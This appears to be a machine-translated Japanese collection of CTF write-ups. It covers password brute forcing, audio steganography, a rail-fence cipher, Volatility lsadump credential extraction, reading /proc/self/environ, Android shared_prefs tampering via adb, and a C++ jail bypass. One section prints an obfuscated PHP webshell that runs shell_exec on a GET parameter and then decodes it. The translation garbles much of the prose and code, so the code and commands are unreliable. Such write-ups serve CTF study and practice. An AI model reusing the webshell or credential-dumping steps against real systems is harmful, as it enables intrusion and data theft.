減圧
人形を圧縮し、最後のレイヤーまで解決し、ファイルを抽出します
プロンプトは通常のコードを提供します。通常のブラストパスワードによると、合計5桁があり、4桁目は数字です
^([a-z]){3} \ d [a-z] $の合計は5桁で、直接blastされ、パスワードxtr4mを取得し、脱落させてフラグを取得します
PleasingMusic
タイトルの説明に言及しています:
歌はよく聞こえ、ポジティブとネガティブの両方で、ポジティブとネガティブは良いです。プロンプトによると(実際、音楽の後半が後方に再生されることも聞くことができます)、オーディオは逆に処理され、その後モールスコードが解析されます。
モールスコードメーターは手動で翻訳できます。オンラインデコードを使用できます。
粗い表現: - 、薄い表現:スペースまたはスペース:スペースまたは/セグメントを使用します
whereisflag
実際のフラグを見つけるための純粋なコマンドマニュアル検索。 /proc/self/Environファイル(現在のプロセスの環境変数を取得するために使用できます)では、次のコマンドを実行してフラグを取得できます。
labyirinth
コードを引き換える
wireshark_checkin
wireshark_secret
タイトルの説明に連絡して、tivatテキスト比較テーブルを見つけます
比較表にはたくさん説明されています
最初の真ん中に大きな文字列を試しましたが、上下のケースは正しくありませんでした
その後、小さな暗号テキストを繰り返し続けて取得します:flagisasesence iiaaelgtsfkfa
doyouknowfence mesioaabgnsgogmyeiaied
ヒントフラグは文であり、フェンスはフェンスの暗号化mesioaabgnsgogmyeiaidでもあります
https://ctf.bugku.com/tool/railfence
提出が提出されたときにパッケージフラグは正しくなく、小文字に切り替えるときは小文字が正しいです。
最後のフラグは次のとおりです:flag {muygenshinisagoodgame}
線の間の秘密
vscodeで開いて、u+202cの広いゼロバイトを発見します
パスワードを取得:IT_IS_K3Y
パスワードを使用して単語を開き、空白を見つけ、すべてのCTR+Aを選択し、コピーして、フラグを取得します
Xiao Ming、熱心で親切な
vol.py -f image.raw imageinfo
推奨されるオペレーティングシステムのバージョンは、win7sp1x86_23418、win7sp0x86、win7sp1x86_24000、win7sp1x86であることがわかります。ここでは、最初のもの(win7sp1x86_23418)を選択して試してみます。とにかく、それがうまくいかない場合は、何か他のものを試してください。
vol.py -f image.raw -profile=win/sp1x86_23418 lsadump
最初の0x48はパスワードではありません。サインとして理解できます。これとは別に、システムパスワードを取得できます:zdfyvdlfdtnlul9wnhntdzbyrf9iqunlrvih。
最後のフラグはフラグです{zdfyvdlfdtnlul9wnhntdzzbyrf9iqunlrvih}
トレーサーを使用してボルトの台風を使用して
ステップ1、ニュースビデオへのリンクを開きます
ビデオに基づいて、次の情報を取得します。
必須レポート:ダークパワーの台頭.対応するバージョン:オリジナル4月15日バージョンステータス:必要な情報が改ざんされています。レポート名を直接検索します
https://Threatmon.io/storage/the-rise-of-dark-power-a-close-the-the-group-and-the-their-ransomware.pdf
必要なPDFファイルを見ることができますが、ビデオにはレポートコンテンツが改ざんされていることも述べています。
したがって、現在のバージョンには間違いなく必要な情報がありません。
質問者は以前に幸運だったので、彼は直接ダウンロードできる元のバージョンのPDFを見つけました、そして、彼はそれを直接始めることができました。
しかし、運が良くない場合はどうすればよいですか? —— Waybackマシンを使用するように当社のWebサイトにお願いします。
公式のWebサイトリンクを入力して、たまたま4月15日に利用できるトレーサーを開始します。
ファイルをダウンロードすると、残りはビデオで示されているファイルと同じです。
バックカバー画像を削除し、ドメインボックスに材料を入手してからMD5を入手してください。
もちろん、肉眼でビデオのあいまいな情報を直接読むことができれば、質問者はそれを認識します。
フラグを詰めてフラグを取得{6C3EA51B6F9D4F5E}。
Hertaの研究
HTTPエクスポートGet Upload.php
?php
$ payload=$ _ get ['payload'];
$ payload=shell_exec($ payload);
$ bbb=create_function(
base64_decode( 'j'.str_rot13(' t ')。' 5z ')、
base64_decode( 'jg5zpwjhc2u2nf9lbmnvzguojg5zktsncmzvcigkat0woyrpphn0cmxlbigkbnmpoyrp
kz0xkxsnciagiCbpzigkasuy'.str_rot13( 'cg0kxkfapvntvpntvpntwt5mjleckg1m')。 'dhjfcm90mtmojg5zwyrpxsk7dqo
GICAGFQ0KFQ0KCMV0DXJUICRUCZS==')
);
echo $ bbb($ payload);
?str_rot13()関数は、文字列上でrot13エンコードを実行します。
ROT13エンコーディングは、各文字をアルファベット内の13文字で前進させることです。数字と非アルファベット文字は同じままです。
'。' PHPのコネクタなので、アップロードされたPHPコードは実際には次のとおりです。
?php
$ payload=$ _get ['payload'];
$ payload=shell_exec($ payload);
$ bbb=function($ ns){
$ ns=base64_encode($ ns);
for($ i=0; $ i strlen($ ns); $ i ++){
if($ i%2==1){
$ ns [$ i]=str_rot13($ ns [$ i]);
}
}
$ nsを返します。
};
echo $ bbb($ payload);
コードによると、結果はbase64によってエンコードされていることがわかり、その後、内部の奇数桁の文字がstr_rot13でエンコードされていることがわかります。
次に、旗を要求するパッケージを見つけてそれをデコードしますが、それが偽の旗であることがわかります。
?php
$ result='zzxuz3tmsqnsagrsumbsnzvodkkkzavzla0tct==';
$ bbb=function($ ns){
for($ i=0; $ i strlen($ ns); $ i ++){
if($ i%2==1){
$ ns [$ i]=str_rot13($ ns [$ i]);
}
}
$ nsを返します。
};
Echo Base64_Decode($ BBB($ result));
?後で、私はf.txtを見つけに行き、flag:flagを解決しました{sh3_i4_s0_6eaut1ful。}
bgmは壊れていますか?
Audacityでオーディオを開くと、右チャネルの終わりに情報があり、左チャネルがノイズがあることを簡単に見つけることができます。
質問の説明によると、それはダイヤルトーンですが、直接リリースすることはできないため、ノイズを削除する必要があります
[ステレオから個別]を選択してモノ»左チャンネルをオフにします»エクスポート
キーサウンドによる復号化Webサイト(つまり、DTMFデコーダー
フラグをラップするだけです{}
AmazingGame
プライベートAndroidディレクトリは/data/user/0/パッケージ名にあります
Android shared_prefsは通常、ソフトウェア構成データを保存するために使用されます
ファイルを変更して、合格レベルデータを変更します
最初のレベルを通過した後、ゲームをオフにします(これは非常に重要です)
携帯電話の実行へのADBリンク
シェル
ADBシェル
run-as com.pangbai.projectm
CD shared_prefs
cat net.osaris.turbly.jumpyball.xmlxml
?xmlバージョン='1.0'エンコード='utf-8' standalone='yes'?
地図
boolean name='cockpitview' value='true' /
int name='lockedsolotracks' value='2' /
int name='lockedtracks' value='2' /
int name='best0m0' value='130' /
int name='lockedships' value='1' /
int name='userid' value='9705893' /
/マップソフトウェアには23のレベルがあり、ロック解除数のレベルを23に変更します
通常、ADBプッシュを使用してファイルを変更する必要があります。ここでは、利便性のために2を直接23に置き換えます。
シェル
SED -I 's/2/23/g' net.osaris.turbly.jumpyball.xmlゲームを開き、すべてのレベルがロック解除されていることがわかります。自由に23のレベルをプレイします。ゲームが終わったときにフラグを取得できます。
ez_jail
この質問の元の意味は、C ++の(マクロ)置換演算子の知識のみをテストすることです。
キーワードが正しく使用されている限り、オンラインで検索できますが、質問セットの人の実行は壊れており、テスト中に多くの予期しない結果が表示されます。各知識ポイントの難しさを検討した後、予想外の難しさは予想される解決策とそれほど変わらないと感じたので、単に半開きの質問になりました。
コードのチェック関数を観察します
Python
def cpp_code_checker(code):
code:の「#include」の場合
falseを返す、「コードにはライブラリを含めることは許可されていません」
code:の「#define」の場合
falseを返し、「コードはマクロの使用が許可されていません」
'{' in codeまたは '}' in code:の場合
戻る (
間違い、
'コードは `{`または `}`を使用することは許可されていませんが、単一の関数である必要があります」
))
Len(code)100:の場合
「コードが長すぎる」と虚偽を返す
trueを返す、「コードは有効」です 'このコードは#include #defineなどをフィルタリングしているようですが、学生が#をバイパスできることを生徒が気付いたかどうかはわかりません。
したがって、ペイロードはこのようなものになる可能性があります(ソリューションを提供してくれたMaster Yuroに感謝します)
cpp
#define user_code()write(stdout_fileno、 'hello、world!'、13);